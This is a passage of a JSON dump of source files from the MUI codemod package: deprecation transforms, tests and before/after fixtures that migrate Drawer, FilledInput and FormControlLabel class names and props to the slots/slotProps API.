'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/index.js",
    "content": "export { default } from './drawer-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorBottom',\n    replacementSelector: '.MuiDrawer-anchorBottom > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorLeft',\n    replacementSelector: '.MuiDrawer-anchorLeft > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorRight',\n    replacementSelector: '.MuiDrawer-anchorRight > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorTop',\n    replacementSelector: '.MuiDrawer-anchorTop > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorDockedBottom',\n    replacementSelector: '.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorDockedLeft',\n    replacementSelector: '.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorDockedRight',\n    replacementSelector: '.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDrawer-paperAnchorDockedTop',\n    replacementSelector: '.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Drawer classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/actual.css",
    "content": ".MuiDrawer-root .MuiDrawer-paperAnchorBottom {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorLeft {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorRight {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorTop {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorDockedBottom {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorDockedLeft {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorDockedRight {\n  color: red;\n}\n\n.MuiDrawer-root .MuiDrawer-paperAnchorDockedTop {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/actual.js",
    "content": "import { drawerClasses } from '@mui/material/Drawer';\n\n(\"& .MuiDrawer-paperAnchorBottom\");\n(\"& .MuiDrawer-paperAnchorLeft\");\n(\"& .MuiDrawer-paperAnchorRight\");\n(\"& .MuiDrawer-paperAnchorTop\");\n(\"& .MuiDrawer-paperAnchorDockedBottom\");\n(\"& .MuiDrawer-paperAnchorDockedLeft\");\n(\"& .MuiDrawer-paperAnchorDockedRight\");\n(\"& .MuiDrawer-paperAnchorDockedTop\");\n`& .${drawerClasses.paperAnchorBottom}`;\n`& .${drawerClasses.paperAnchorLeft}`;\n`& .${drawerClasses.paperAnchorRight}`;\n`& .${drawerClasses.paperAnchorTop}`;\n`& .${drawerClasses.paperAnchorDockedBottom}`;\n`& .${drawerClasses.paperAnchorDockedLeft}`;\n`& .${drawerClasses.paperAnchorDockedRight}`;\n`& .${drawerClasses.paperAnchorDockedTop}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/expected.css",
    "content": ".MuiDrawer-root.MuiDrawer-anchorBottom > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-anchorLeft > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-anchorRight > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-anchorTop > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper {\n  color: red;\n}\n\n.MuiDrawer-root.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/expected.js",
    "content": "import { drawerClasses } from '@mui/material/Drawer';\n\n(\"&.MuiDrawer-anchorBottom > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorLeft > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorRight > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorTop > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper\");\n`&.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorRight} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorTop} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorRight} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorTop} > .${drawerClasses.paper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/package.actual.js",
    "content": "import { drawerClasses } from '@org/ui/material/Drawer';\n\n(\"& .MuiDrawer-paperAnchorBottom\");\n(\"& .MuiDrawer-paperAnchorLeft\");\n(\"& .MuiDrawer-paperAnchorRight\");\n(\"& .MuiDrawer-paperAnchorTop\");\n(\"& .MuiDrawer-paperAnchorDockedBottom\");\n(\"& .MuiDrawer-paperAnchorDockedLeft\");\n(\"& .MuiDrawer-paperAnchorDockedRight\");\n(\"& .MuiDrawer-paperAnchorDockedTop\");\n`& .${drawerClasses.paperAnchorBottom}`;\n`& .${drawerClasses.paperAnchorLeft}`;\n`& .${drawerClasses.paperAnchorRight}`;\n`& .${drawerClasses.paperAnchorTop}`;\n`& .${drawerClasses.paperAnchorDockedBottom}`;\n`& .${drawerClasses.paperAnchorDockedLeft}`;\n`& .${drawerClasses.paperAnchorDockedRight}`;\n`& .${drawerClasses.paperAnchorDockedTop}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/test-cases/package.expected.js",
    "content": "import { drawerClasses } from '@org/ui/material/Drawer';\n\n(\"&.MuiDrawer-anchorBottom > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorLeft > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorRight > .MuiDrawer-paper\");\n(\"&.MuiDrawer-anchorTop > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper\");\n(\"&.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper\");\n`&.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorRight} > .${drawerClasses.paper}`;\n`&.${drawerClasses.anchorTop} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorRight} > .${drawerClasses.paper}`;\n`&.${drawerClasses.docked}.${drawerClasses.anchorTop} > .${drawerClasses.paper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/drawer-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Drawer',\n    propName: 'BackdropComponent',\n    slotName: 'backdrop',\n  });\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SwipeableDrawer',\n    propName: 'BackdropComponent',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Drawer',\n    propName: 'BackdropProps',\n    slotName: 'backdrop',\n  });\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SwipeableDrawer',\n    propName: 'BackdropProps',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Drawer',\n    propName: 'PaperProps',\n    slotName: 'paper',\n  });\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SwipeableDrawer',\n    propName: 'PaperProps',\n    slotName: 'paper',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Drawer',\n    propName: 'SlideProps',\n    slotName: 'transition',\n  });\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SwipeableDrawer',\n    propName: 'SlideProps',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Drawer',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'SwipeableDrawer',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/drawer-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './drawer-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'drawer-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/index.js",
    "content": "export { default } from './drawer-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/actual.js",
    "content": "import Drawer from '@mui/material/Drawer';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport { Drawer as MyDrawer, SwipeableDrawer as MySwipeableDrawer } from '@mui/material';\n\n<Drawer BackdropComponent={Backdrop} BackdropProps={{ transitionDuration: 300 }} />;\n<SwipeableDrawer BackdropComponent={Backdrop} BackdropProps={{ transitionDuration: 300 }} />;\n\n<Drawer PaperProps={{ elevation: 20 }} />;\n<SwipeableDrawer PaperProps={{ elevation: 20 }} />;\n\n<Drawer SlideProps={{ direction: 'right' }} />;\n<SwipeableDrawer SlideProps={{ direction: 'right' }} />;\n\n<Drawer TransitionComponent={CustomTransition} />;\n<SwipeableDrawer TransitionComponent={CustomTransition} />;\n\n<MyDrawer\n  BackdropComponent={Backdrop}\n  BackdropProps={{ transitionDuration: 300 }}\n  PaperProps={{ elevation: 20 }}\n  SlideProps={{ direction: 'right' }}\n  TransitionComponent={CustomTransition}\n/>;\n<MySwipeableDrawer\n  BackdropComponent={Backdrop}\n  BackdropProps={{ transitionDuration: 300 }}\n  PaperProps={{ elevation: 20 }}\n  SlideProps={{ direction: 'right' }}\n  TransitionComponent={CustomTransition}\n/>;\n\n<CustomDrawer\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/expected.js",
    "content": "import Drawer from '@mui/material/Drawer';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport { Drawer as MyDrawer, SwipeableDrawer as MySwipeableDrawer } from '@mui/material';\n\n<Drawer slots={{\n  backdrop: Backdrop\n}} slotProps={{\n  backdrop: { transitionDuration: 300 }\n}} />;\n<SwipeableDrawer slots={{\n  backdrop: Backdrop\n}} slotProps={{\n  backdrop: { transitionDuration: 300 }\n}} />;\n\n<Drawer slotProps={{\n  paper: { elevation: 20 }\n}} />;\n<SwipeableDrawer slotProps={{\n  paper: { elevation: 20 }\n}} />;\n\n<Drawer slotProps={{\n  transition: { direction: 'right' }\n}} />;\n<SwipeableDrawer slotProps={{\n  transition: { direction: 'right' }\n}} />;\n\n<Drawer slots={{\n  transition: CustomTransition\n}} />;\n<SwipeableDrawer slots={{\n  transition: CustomTransition\n}} />;\n\n<MyDrawer\n  slots={{\n    backdrop: Backdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { transitionDuration: 300 },\n    paper: { elevation: 20 },\n    transition: { direction: 'right' }\n  }} />;\n<MySwipeableDrawer\n  slots={{\n    backdrop: Backdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { transitionDuration: 300 },\n    paper: { elevation: 20 },\n    transition: { direction: 'right' }\n  }} />;\n\n<CustomDrawer\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/package.actual.js",
    "content": "import Drawer from '@org/ui/material/Drawer';\nimport SwipeableDrawer from '@org/ui/material/SwipeableDrawer';\nimport { Drawer as MyDrawer, SwipeableDrawer as MySwipeableDrawer } from '@org/ui/material';\n\n<Drawer BackdropComponent={Backdrop} BackdropProps={{ transitionDuration: 300 }} />;\n<SwipeableDrawer BackdropComponent={Backdrop} BackdropProps={{ transitionDuration: 300 }} />;\n\n<Drawer PaperProps={{ elevation: 20 }} />;\n<SwipeableDrawer PaperProps={{ elevation: 20 }} />;\n\n<Drawer SlideProps={{ direction: 'right' }} />;\n<SwipeableDrawer SlideProps={{ direction: 'right' }} />;\n\n<MyDrawer\n  BackdropComponent={Backdrop}\n  BackdropProps={{ transitionDuration: 300 }}\n  PaperProps={{ elevation: 20 }}\n  SlideProps={{ direction: 'right' }}\n/>;\n<MySwipeableDrawer\n  BackdropComponent={Backdrop}\n  BackdropProps={{ transitionDuration: 300 }}\n  PaperProps={{ elevation: 20 }}\n  SlideProps={{ direction: 'right' }}\n/>;\n\n<CustomDrawer\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/package.expected.js",
    "content": "import Drawer from '@org/ui/material/Drawer';\nimport SwipeableDrawer from '@org/ui/material/SwipeableDrawer';\nimport { Drawer as MyDrawer, SwipeableDrawer as MySwipeableDrawer } from '@org/ui/material';\n\n<Drawer slots={{\n  backdrop: Backdrop\n}} slotProps={{\n  backdrop: { transitionDuration: 300 }\n}} />;\n<SwipeableDrawer slots={{\n  backdrop: Backdrop\n}} slotProps={{\n  backdrop: { transitionDuration: 300 }\n}} />;\n\n<Drawer slotProps={{\n  paper: { elevation: 20 }\n}} />;\n<SwipeableDrawer slotProps={{\n  paper: { elevation: 20 }\n}} />;\n\n<Drawer slotProps={{\n  transition: { direction: 'right' }\n}} />;\n<SwipeableDrawer slotProps={{\n  transition: { direction: 'right' }\n}} />;\n\n<MyDrawer\n  slots={{\n    backdrop: Backdrop\n  }}\n  slotProps={{\n    backdrop: { transitionDuration: 300 },\n    paper: { elevation: 20 },\n    transition: { direction: 'right' }\n  }} />;\n<MySwipeableDrawer\n  slots={{\n    backdrop: Backdrop\n  }}\n  slotProps={{\n    backdrop: { transitionDuration: 300 },\n    paper: { elevation: 20 },\n    transition: { direction: 'right' }\n  }} />;\n\n<CustomDrawer\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiDrawer: {\n    defaultProps: {\n      BackdropComponent: Backdrop,\n      BackdropProps: {\n        transitionDuration: 300,\n      },\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      BackdropComponent: Backdrop,\n      BackdropProps: {\n        transitionDuration: 300,\n      },\n    },\n  },\n});\n\nfn({\n  MuiDrawer: {\n    defaultProps: {\n      PaperProps: {\n        elevation: 20,\n      },\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      PaperProps: {\n        elevation: 20,\n      },\n    },\n  },\n});\n\nfn({\n  MuiDrawer: {\n    defaultProps: {\n      SlideProps: {\n        direction: 'right',\n      },\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      SlideProps: {\n        direction: 'right',\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiDrawer: {\n    defaultProps: {\n      slots: {\n        backdrop: Backdrop\n      },\n\n      slotProps: {\n        backdrop: {\n          transitionDuration: 300,\n        }\n      }\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      slots: {\n        backdrop: Backdrop\n      },\n\n      slotProps: {\n        backdrop: {\n          transitionDuration: 300,\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiDrawer: {\n    defaultProps: {\n      slotProps: {\n        paper: {\n          elevation: 20,\n        }\n      },\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      slotProps: {\n        paper: {\n          elevation: 20,\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiDrawer: {\n    defaultProps: {\n      slotProps: {\n        transition: {\n          direction: 'right',\n        }\n      },\n    },\n  },\n});\nfn({\n  MuiSwipeableDrawer: {\n    defaultProps: {\n      slotProps: {\n        transition: {\n          direction: 'right',\n        }\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/filled-input-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'FilledInput',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/filled-input-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './filled-input-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'filled-input-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/index.js",
    "content": "export { default } from './filled-input-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/actual.js",
    "content": "import FilledInput from '@mui/material/FilledInput';\n\n<FilledInput\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/expected.js",
    "content": "import FilledInput from '@mui/material/FilledInput';\n\n<FilledInput\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/package.actual.js",
    "content": "import FilledInput from '@org/ui/material/FilledInput';\n\n<FilledInput\n  components={{ Input: ComponentsInput }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  components={{ Input: ComponentsInput }}\n  slotProps={{ root: slotsRootProps, input: slotsInputProps }}\n  componentsProps={{ input: componentsInputProps, root: componentsRootProps}}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/package.expected.js",
    "content": "import FilledInput from '@org/ui/material/FilledInput';\n\n<FilledInput\n  slots={{\n    input: ComponentsInput\n  }}\n  slotProps={{ input: componentsInputProps }}\n/>;\n<FilledInput\n  slots={{\n    root: SlotsRoot,\n    input: ComponentsInput\n  }}\n  slotProps={{\n    root: slotsRootProps,\n    input: componentsInputProps\n  }} />;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ root: slotsRootProps, input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  } }} />;\n<FilledInput\n  slots={{ root: SlotsRoot, input: SlotsInput }}\n  slotProps={{ input: {\n    ...componentsInputProps,\n    ...slotsInputProps\n  }, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiFilledInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      componentsProps: { input: componentsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      components: { Input: ComponentsInput },\n      slots: { root: SlotsRoot, input: SlotsInput },\n      componentsProps: { input: componentsInputProps, root: componentsRootProps },\n      slotProps: { root: slotsRootProps, input: slotsInputProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/filled-input-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiFilledInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput\n      },\n\n      slotProps: {\n        input: componentsInputProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      slots: {\n        input: ComponentsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: componentsInputProps,\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: slotsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiFilledInput: {\n    defaultProps: {\n      slots: {\n        input: SlotsInput,\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        input: {\n          ...componentsInputProps,\n          ...slotsInputProps\n        },\n\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/form-control-label-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'FormControlLabel',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/form-control-label-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './form-control-label-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('form-control-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] form-control-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: 